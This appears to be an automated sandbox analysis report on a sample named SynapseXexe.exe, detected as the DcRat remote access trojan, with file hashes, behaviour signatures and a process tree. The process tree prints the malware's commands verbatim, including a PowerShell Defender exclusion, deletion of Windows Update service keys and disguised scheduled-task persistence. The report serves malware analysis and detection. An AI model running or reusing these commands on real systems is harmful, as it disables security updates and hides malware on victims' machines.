Analysis
- max time kernel
101s - max time network
164s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
07/01/2024, 19:33
Static task
static1
Behavioral task
behavioral1
Sample
SynapseXexe.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
SynapseXexe.exe
Resource
win10v2004-20231215-en
General
- Target SynapseXexe.exe
- Size 7.6MB
- Sample240107-x9l5fsdec4
- SHA256 e739c99d25d4b9ed3cf1c0ce093505adcdec5f97fd38df45310b1e0a850ea801
- MD5 6356d5402bbfae18c6d66e56c7e86af8
- SHA1 ecb6439b4d2b681e4c20e7d6320755a338ebffe7
- SHA512 f84276f3eaa36906822b7b276984c87779d571192b9d66dad6663cd5ca9dfee4548eb0dd703fb6f61cfe727f0e17ccee657e172a22a202675e53766b4da62328
- SSDEEP 196608:Ut0zaKDjcpC1qZcGpboCj5X1HmEVPZ8dPJFZp:Ut0zaK/L1qyGloCNlN9Z8d/Zp
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe - Process spawned unexpected child process 18 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4708 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4252 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1016 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 484 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4220 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2972 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1452 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3408 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1096 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1708 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3420 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4352 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2156 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2300 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1656 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2360 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2108 1288 schtasks.exe 97 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2012 1288 schtasks.exe 97 -
resource yara_rule behavioral2/files/0x0007000000023203-7.dat dcrat behavioral2/files/0x0007000000023203-25.dat dcrat behavioral2/files/0x0006000000023210-51.dat dcrat behavioral2/memory/4640-52-0x0000000000F70000-0x00000000010BC000-memory.dmp dcrat behavioral2/files/0x000600000002321a-78.dat dcrat behavioral2/files/0x0006000000023223-137.dat dcrat behavioral2/files/0x0006000000023223-136.dat dcrat - Stops running service(s) 3 TTPs
- Checks computer location settings 2 TTPs 5 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation SynapseXexe.exe Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation Client.exe Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation Synapse X.exe Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation browserCommon.exe - Executes dropped EXE 5 IoCs
pid Process 2284 Client.exe 2000 Synapse X.exe 3792 conhost_syn.exe 4640 browserCommon.exe 3244 WaaSMedicAgent.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 2000 Synapse X.exe - Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe browserCommon.exe File created C:\Program Files (x86)\Google\Temp\c82b8037eab33d browserCommon.exe File created C:\Program Files (x86)\Mozilla Maintenance Service\logs\SIHClient.exe browserCommon.exe File created C:\Program Files (x86)\Mozilla Maintenance Service\logs\7b3bf1de107bcf browserCommon.exe - Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\addins\conhost_syn.exe browserCommon.exe File created C:\Windows\addins\59236af5fcecb3 browserCommon.exe - Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1528 sc.exe 3744 sc.exe 4644 sc.exe 4500 sc.exe 4664 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 18 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1016 schtasks.exe 484 schtasks.exe 1708 schtasks.exe 3420 schtasks.exe 4352 schtasks.exe 2300 schtasks.exe 2360 schtasks.exe 4220 schtasks.exe 2972 schtasks.exe 4708 schtasks.exe 4252 schtasks.exe 1096 schtasks.exe 1656 schtasks.exe 2108 schtasks.exe 2012 schtasks.exe 1452 schtasks.exe 3408 schtasks.exe 2156 schtasks.exe - Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000_Classes\Local Settings Client.exe Key created \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000_Classes\Local Settings browserCommon.exe - Suspicious behavior: EnumeratesProcesses 23 IoCs
pid Process 4640 browserCommon.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 4640 browserCommon.exe 4640 browserCommon.exe 4640 browserCommon.exe 4640 browserCommon.exe 4640 browserCommon.exe 3068 powershell.exe 3068 powershell.exe 3068 powershell.exe 1384 powershell.exe 1384 powershell.exe 3244 WaaSMedicAgent.exe 3244 WaaSMedicAgent.exe 3244 WaaSMedicAgent.exe 3244 WaaSMedicAgent.exe 3244 WaaSMedicAgent.exe 3244 WaaSMedicAgent.exe 3244 WaaSMedicAgent.exe 3244 WaaSMedicAgent.exe 3244 WaaSMedicAgent.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4640 browserCommon.exe Token: SeDebugPrivilege 1512 powershell.exe Token: SeShutdownPrivilege 1768 powercfg.exe Token: SeCreatePagefilePrivilege 1768 powercfg.exe Token: SeDebugPrivilege 3068 powershell.exe Token: SeShutdownPrivilege 4332 powercfg.exe Token: SeCreatePagefilePrivilege 4332 powercfg.exe Token: SeShutdownPrivilege 2820 powercfg.exe Token: SeCreatePagefilePrivilege 2820 powercfg.exe Token: SeShutdownPrivilege 2516 powercfg.exe Token: SeCreatePagefilePrivilege 2516 powercfg.exe Token: SeIncreaseQuotaPrivilege 3068 powershell.exe Token: SeSecurityPrivilege 3068 powershell.exe Token: SeTakeOwnershipPrivilege 3068 powershell.exe Token: SeLoadDriverPrivilege 3068 powershell.exe Token: SeSystemProfilePrivilege 3068 powershell.exe Token: SeSystemtimePrivilege 3068 powershell.exe Token: SeProfSingleProcessPrivilege 3068 powershell.exe Token: SeIncBasePriorityPrivilege 3068 powershell.exe Token: SeCreatePagefilePrivilege 3068 powershell.exe Token: SeBackupPrivilege 3068 powershell.exe Token: SeRestorePrivilege 3068 powershell.exe Token: SeShutdownPrivilege 3068 powershell.exe Token: SeDebugPrivilege 3068 powershell.exe Token: SeSystemEnvironmentPrivilege 3068 powershell.exe Token: SeRemoteShutdownPrivilege 3068 powershell.exe Token: SeUndockPrivilege 3068 powershell.exe Token: SeManageVolumePrivilege 3068 powershell.exe Token: 33 3068 powershell.exe Token: 34 3068 powershell.exe Token: 35 3068 powershell.exe Token: 36 3068 powershell.exe Token: SeIncreaseQuotaPrivilege 3068 powershell.exe Token: SeSecurityPrivilege 3068 powershell.exe Token: SeTakeOwnershipPrivilege 3068 powershell.exe Token: SeLoadDriverPrivilege 3068 powershell.exe Token: SeSystemProfilePrivilege 3068 powershell.exe Token: SeSystemtimePrivilege 3068 powershell.exe Token: SeProfSingleProcessPrivilege 3068 powershell.exe Token: SeIncBasePriorityPrivilege 3068 powershell.exe Token: SeCreatePagefilePrivilege 3068 powershell.exe Token: SeBackupPrivilege 3068 powershell.exe Token: SeRestorePrivilege 3068 powershell.exe Token: SeShutdownPrivilege 3068 powershell.exe Token: SeDebugPrivilege 3068 powershell.exe Token: SeSystemEnvironmentPrivilege 3068 powershell.exe Token: SeRemoteShutdownPrivilege 3068 powershell.exe Token: SeUndockPrivilege 3068 powershell.exe Token: SeManageVolumePrivilege 3068 powershell.exe Token: 33 3068 powershell.exe Token: 34 3068 powershell.exe Token: 35 3068 powershell.exe Token: 36 3068 powershell.exe Token: SeIncreaseQuotaPrivilege 3068 powershell.exe Token: SeSecurityPrivilege 3068 powershell.exe Token: SeTakeOwnershipPrivilege 3068 powershell.exe Token: SeLoadDriverPrivilege 3068 powershell.exe Token: SeSystemProfilePrivilege 3068 powershell.exe Token: SeSystemtimePrivilege 3068 powershell.exe Token: SeProfSingleProcessPrivilege 3068 powershell.exe Token: SeIncBasePriorityPrivilege 3068 powershell.exe Token: SeCreatePagefilePrivilege 3068 powershell.exe Token: SeBackupPrivilege 3068 powershell.exe Token: SeRestorePrivilege 3068 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2000 Synapse X.exe - Suspicious use of WriteProcessMemory 62 IoCs
description pid Process procid_target PID 4712 wrote to memory of 2284 4712 SynapseXexe.exe 89 PID 4712 wrote to memory of 2284 4712 SynapseXexe.exe 89 PID 4712 wrote to memory of 2284 4712 SynapseXexe.exe 89 PID 4712 wrote to memory of 2000 4712 SynapseXexe.exe 91 PID 4712 wrote to memory of 2000 4712 SynapseXexe.exe 91 PID 4712 wrote to memory of 2000 4712 SynapseXexe.exe 91 PID 2284 wrote to memory of 1840 2284 Client.exe 92 PID 2284 wrote to memory of 1840 2284 Client.exe 92 PID 2284 wrote to memory of 1840 2284 Client.exe 92 PID 2000 wrote to memory of 3792 2000 Synapse X.exe 93 PID 2000 wrote to memory of 3792 2000 Synapse X.exe 93 PID 1840 wrote to memory of 2172 1840 WScript.exe 96 PID 1840 wrote to memory of 2172 1840 WScript.exe 96 PID 1840 wrote to memory of 2172 1840 WScript.exe 96 PID 2172 wrote to memory of 4640 2172 cmd.exe 98 PID 2172 wrote to memory of 4640 2172 cmd.exe 98 PID 3792 wrote to memory of 1512 3792 conhost_syn.exe 101 PID 3792 wrote to memory of 1512 3792 conhost_syn.exe 101 PID 3792 wrote to memory of 3800 3792 conhost_syn.exe 145 PID 3792 wrote to memory of 3800 3792 conhost_syn.exe 145 PID 3792 wrote to memory of 4040 3792 conhost_syn.exe 117 PID 3792 wrote to memory of 4040 3792 conhost_syn.exe 117 PID 3792 wrote to memory of 3068 3792 conhost_syn.exe 144 PID 3792 wrote to memory of 3068 3792 conhost_syn.exe 144 PID 4040 wrote to memory of 1768 4040 cmd.exe 120 PID 4040 wrote to memory of 1768 4040 cmd.exe 120 PID 3800 wrote to memory of 4664 3800 cmd.exe 140 PID 3800 wrote to memory of 4664 3800 cmd.exe 140 PID 4040 wrote to memory of 4332 4040 cmd.exe 139 PID 4040 wrote to memory of 4332 4040 cmd.exe 139 PID 4640 wrote to memory of 3756 4640 browserCommon.exe 138 PID 4640 wrote to memory of 3756 4640 browserCommon.exe 138 PID 4040 wrote to memory of 2820 4040 cmd.exe 122 PID 4040 wrote to memory of 2820 4040 cmd.exe 122 PID 3800 wrote to memory of 1528 3800 cmd.exe 123 PID 3800 wrote to memory of 1528 3800 cmd.exe 123 PID 4040 wrote to memory of 2516 4040 cmd.exe 136 PID 4040 wrote to memory of 2516 4040 cmd.exe 136 PID 3756 wrote to memory of 1144 3756 cmd.exe 135 PID 3756 wrote to memory of 1144 3756 cmd.exe 135 PID 3800 wrote to memory of 3744 3800 cmd.exe 124 PID 3800 wrote to memory of 3744 3800 cmd.exe 124 PID 3800 wrote to memory of 4644 3800 cmd.exe 151 PID 3800 wrote to memory of 4644 3800 cmd.exe 151 PID 3800 wrote to memory of 4500 3800 cmd.exe 131 PID 3800 wrote to memory of 4500 3800 cmd.exe 131 PID 3800 wrote to memory of 4088 3800 cmd.exe 126 PID 3800 wrote to memory of 4088 3800 cmd.exe 126 PID 3800 wrote to memory of 1516 3800 cmd.exe 130 PID 3800 wrote to memory of 1516 3800 cmd.exe 130 PID 3800 wrote to memory of 2896 3800 cmd.exe 129 PID 3800 wrote to memory of 2896 3800 cmd.exe 129 PID 3800 wrote to memory of 1776 3800 cmd.exe 127 PID 3800 wrote to memory of 1776 3800 cmd.exe 127 PID 3800 wrote to memory of 4708 3800 cmd.exe 128 PID 3800 wrote to memory of 4708 3800 cmd.exe 128 PID 3792 wrote to memory of 1384 3792 conhost_syn.exe 134 PID 3792 wrote to memory of 1384 3792 conhost_syn.exe 134 PID 1384 wrote to memory of 3840 1384 powershell.exe 133 PID 1384 wrote to memory of 3840 1384 powershell.exe 133 PID 3756 wrote to memory of 3244 3756 cmd.exe 149 PID 3756 wrote to memory of 3244 3756 cmd.exe 149 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\SynapseXexe.exe"C:\Users\Admin\AppData\Local\Temp\SynapseXexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4712 -
C:\Users\Admin\AppData\Local\Temp\Client.exe"C:\Users\Admin\AppData\Local\Temp\Client.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\msserverbrowser\HnyaohP9M4fFcL.vbe"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1840 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\msserverbrowser\76ROYidD3raXzrN.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:2172 -
C:\msserverbrowser\browserCommon.exe"C:\msserverbrowser\browserCommon.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4640 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\86OXMb1gSt.bat"6⤵
- Suspicious use of WriteProcessMemory
PID:3756 -
C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe"C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3244
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C:\Users\Admin\AppData\Local\Temp\Synapse X.exe"C:\Users\Admin\AppData\Local\Temp\Synapse X.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2000 -
C:\Users\Admin\AppData\Roaming\conhost_syn.exe"C:\Users\Admin\AppData\Roaming\conhost_syn.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3792 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1512
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C:\Windows\SYSTEM32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
- Suspicious use of WriteProcessMemory
PID:4040 -
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
PID:1768
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C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵
- Suspicious use of AdjustPrivilegeToken
PID:2820
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C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
PID:2516
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C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵
- Suspicious use of AdjustPrivilegeToken
PID:4332
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ykfisbv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Realtek High Definition Audio" } Else { "C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe" }4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1384
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#jpkho#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /tn 'Realtek High Definition Audio' /tr '''C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Realtek High Definition Audio' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Realtek High Definition Audio" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe' }4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3068
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C:\Windows\SYSTEM32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
- Suspicious use of WriteProcessMemory
PID:3800
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 8 /tr "'C:\Users\Public\WaaSMedicAgent.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4708
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WaaSMedicAgent" /sc ONLOGON /tr "'C:\Users\Public\WaaSMedicAgent.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4252
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 10 /tr "'C:\Users\Public\WaaSMedicAgent.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1016
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:484
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sysmons" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4220
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost_syn" /sc ONLOGON /tr "'C:\Windows\addins\conhost_syn.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2972
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost_sync" /sc MINUTE /mo 9 /tr "'C:\Windows\addins\conhost_syn.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1452
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost_sync" /sc MINUTE /mo 8 /tr "'C:\Windows\addins\conhost_syn.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3408
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\odt\lsass.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1096
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\odt\lsass.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1708
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsassl" /sc MINUTE /mo 13 /tr "'C:\odt\lsass.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3420
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WaaSMedicAgent" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4352
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2156
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SIHClientS" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\SIHClient.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2300
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C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SIHClientS" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\SIHClient.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1656
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C:\Windows\system32\sc.exesc stop WaaSMedicSvc1⤵
- Launches sc.exe
PID:1528
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C:\Windows\system32\sc.exesc stop wuauserv1⤵
- Launches sc.exe
PID:3744
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C:\Windows\system32\sc.exesc stop bits1⤵
- Launches sc.exe
PID:4644
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f1⤵PID:4088
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f1⤵PID:1776
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f1⤵PID:4708
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f1⤵
- Modifies security service
PID:2896
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C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f1⤵PID:1516
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C:\Windows\system32\sc.exesc stop dosvc1⤵
- Launches sc.exe
PID:4500
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn Realtek High Definition Audio1⤵PID:3840
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:21⤵PID:1144
-
C:\Windows\system32\sc.exesc stop UsoSvc1⤵
- Launches sc.exe
PID:4664
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SIHClient" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\SIHClient.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2360
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2108
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sysmons" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2012
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.11⤵PID:4644
Network
MITRE ATT&CK Enterprise v15
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Downloads
- Path C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe
- Size 64KB
- SHA256 8628a58de9a9c79d09c4573ca3fb5f73d570f8e8a50f43f1a61d65b70787bca4
- MD5 786740d344bf938766dd43caf23330c3
- SHA1 f3b08edd7d6ca0cb6ff15186d4c636bc01fbf65b
- SHA512 b982c105882f2e51a34ca06062e4fcc347637fe12f0419c6c61c2f8670c4845fb0a342c5cbe2c38f29eb559cb7de90093586d3d13ea4be1357022fdbf82aed0b
- SSDEEP 768:N0TOxAH00giDmppfcHIN/EShNmMtd0EdFCsRJ7SK03AmFY+ui7leoxdH9RJ9N20I:13fQINEg30URB10rl7UuSF+I2w
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe
- Size 59KB
- SHA256 af3cd33fbe34ef7e7dbec05333349b5d452351233c6aec60e6d4c0d2b1b44bbf
- MD5 d5d36d6a5a7d4f824a6a66d1137d5de6
- SHA1 47edd866dbbb6ef03484e2680627bb66b30381fe
- SHA512 57798e0f5930cdce0e5985e5935a42a2391f06f86a12421569104e879f8b87b57e75128a55be8d514be4c3ad0ac1f566eb02ee759fdb09afc0917f744210d2c0
- SSDEEP 768:N0TOxAH00giDmppfcHIN/EShNmMtd0EdFCsRJ7SK03AmFY+ui7leoxdH9RJ9N20B:13fQINEg30URB10rl7UuSF0
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Recovery\WindowsRE\sysmon.exe
- Size 98KB
- SHA256 d596e155657d69f1b545bab5b92c48a96c78b6968a58950546a16135da622005
- MD5 c91345a7b240e49d2f43e77f2efe8936
- SHA1 c49d9f636bcb992046c179c36126337ffa386a5d
- SHA512 eade8785f2b74008c08d69789bb242425e9185ce6dca76daaeab9e1487f8c90b18c10ca848d0ea6ccc0c3109f40ff6c420a503ae8baaf3906775aec682b6e584
- SSDEEP 1536:13fQINEg30URB10rl7UuSF+I2exXzkTGOzJa71f:ZY94khbe+I/kTta5f
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\Client.exe
- Size 315KB
- SHA256 0001ff6ec8d26b1baa26647f95a0bc20e59b648109927a791aa675ff9d6bc994
- MD5 c945119e7e0f2968d08cbefdc59ea3b2
- SHA1 8d0f116e92230bc7db536f30cd37b315d0ee7764
- SHA512 820968472f53d5d5fcc9b4f28016be08c36abeb808d9d76b8e1ba788ae0545664a062e8717535e71658caace61366c015b98fc6430db3ba65ef946fab15f5fae
- SSDEEP 6144:ajT5Zh17eWxoG/+ov/2OIQ4wW3OBsCeAW32X+t4Rb+:aRZ+IoG/n9IQxW3OBsee2X+t4Rb+
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Client.exe
- Size 1.6MB
- SHA256 58b5a3cda29d5f61925118882abfb6a496a0056c759c9d96c322bbdb8c5f33b7
- MD5 4735c76d7bb37238ae28c0e494492d1f
